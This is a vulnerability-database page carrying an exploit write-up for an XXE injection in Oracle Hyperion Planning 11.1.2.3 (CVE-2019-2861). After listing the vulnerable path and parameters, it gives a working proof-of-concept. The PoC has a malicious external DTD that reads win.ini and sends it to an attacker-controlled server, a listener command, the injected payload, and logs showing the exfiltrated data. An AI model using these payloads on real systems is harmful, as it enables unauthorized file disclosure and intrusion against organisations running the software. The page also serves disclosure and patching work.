Vulners
Lucene search
Oracle Hyperion Planning 11.1.2.3 - XML External Entity Vulnerability
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
 | The vulnerability of the Security component of the Oracle Hyperion Planning application, which automates budget management processes, allows a perpetrator to gain unauthorized access to protected information. | 6 Aug 201900:00 | – | bdu_fstec |
 | CVE-2019-2861 | 31 Jul 201900:00 | – | circl |
 | Oracle Hyperion Planning Component Access Control Error Vulnerability | 17 Jul 201900:00 | – | cnvd |
 | CVE-2019-2861 | 23 Jul 201922:31 | – | cve |
 | CVE-2019-2861 | 23 Jul 201922:31 | – | cvelist |
 | Oracle Hyperion Planning 11.1.2.3 - XML External Entity | 31 Jul 201900:00 | – | exploitdb |
 | EUVD-2019-12500 | 7 Oct 202500:30 | – | euvd |
 | Oracle Hyperion Planning 11.1.2.3 - XML External Entity | 31 Jul 201900:00 | – | exploitpack |
 | CVE-2019-2861 | 23 Jul 201923:15 | – | nvd |
 | Oracle Critical Patch Update Advisory - July 2019 | 16 Jul 201900:00 | – | oracle |
10
- Exploit Title: XXE Injection Oracle Hyperion
- Exploit Author: Lucas Dinucci ([email protected])
- Twitter: @identik1t
- Vendor Homepage: https://www.oracle.com/applications/performance-management
- Affected Product: Oracle Hyperion Enterprise Performance Management System
- Version: 11.1.2.3
- CVE: CVE-2019-2861
- Patch: https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html
- Vulnerability Type: https://cwe.mitre.org/data/definitions/611.html
# XML External Entity (XXE) Injection
The event.pt1:pt_region0:1:pc2:fvtbl, event.pt1:pt_region0:1:findBtn1 and oracle.adf.view.rich.monitoring.UserActivityInfo parameters are prone to XXE injection. An authenticated attacker could exploit this vulnerability to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution and denial of service attacks.
Path: http://host:19000/calcmgr/faces/cmshell?_adf.ctrl-state=i38w0cig2_4
Parameters: event.pt1:pt_region0:1:pc2:fvtbl, event.pt1:pt_region0:1:findBtn1 and oracle.adf.view.rich.monitoring.UserActivityInfo (POST REQUEST)
# Proof-of-concept
1 - Create a file and name it as xxe_poc with the following content, replacing with your server address:
<!ENTITY % payload SYSTEM "file:///c:\\Windows\\win.ini">
<!ENTITY % param1 "<!ENTITY % external SYSTEM 'http://your_server_address/log_xxe?data=%payload;'>">
2 - Start a webserver to receive the connection, such as:
sudo python -m SimpleHTTPServer 80
3 - Place the following payload in one of the vulnerable parameters, replacing with your server address:
<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://your_server_address/xxe_poc"> %pe; %param1; %external;]><m xmlns="http://oracle.com/richClient/comm"><k v="type"><s>action</s></k></m>
4 - Data retrivial:
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.13.1 - - [11/Feb/2019 04:59:47] "GET /xxe_poc HTTP/1.1" 200 -
192.168.13.1 - - [11/Feb/2019 04:59:47] code 404, message File not found
192.168.13.1 - - [11/Feb/2019 04:59:47] "GET /log?data=; HTTP/1.1" 200 -;%20for%2016-bit%20app%20support%20[fonts]%20[extensions]%20[mci%20extensions]%20[files] HTTP/1.1" 400 -
# 0day.today [2019-12-04] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Aug 2019 00:00Current
EPSS0.02646